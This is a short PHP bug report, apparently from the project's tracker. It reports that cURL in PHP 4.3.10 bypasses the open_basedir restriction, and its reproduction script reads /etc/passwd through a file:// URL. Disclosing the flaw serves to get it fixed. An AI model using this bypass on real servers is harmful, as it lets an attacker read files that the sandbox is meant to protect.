From: pavel at msmu dot ru
Operating system: Linux
PHP version: 4.3.10
PHP Bug Type: cURL related
Bug description: The cURL function bypasses open_basedir restriction
Description:
------------
It is possible to access a file which is outside directory specified in
open_basedir directive.
This bug is really easy to reproduce - just set some open_basedir and try
to read the contents of, for example, /etc/passwd
I didn't find this bug, I read about it on security-related web-site,
checked it, and it worked :(
Reproduce code:
---------------
<?php
$var1 = curl_init("file:///etc/passwd");
$anyfile=curl_exec($var1);
echo $anyfile
?>
Expected result:
----------------
I would expect an error in the log saying about open_basedir restriction
and access to the file being denied.
Actual result:
--------------
you'll get the contents of /etc/passwd
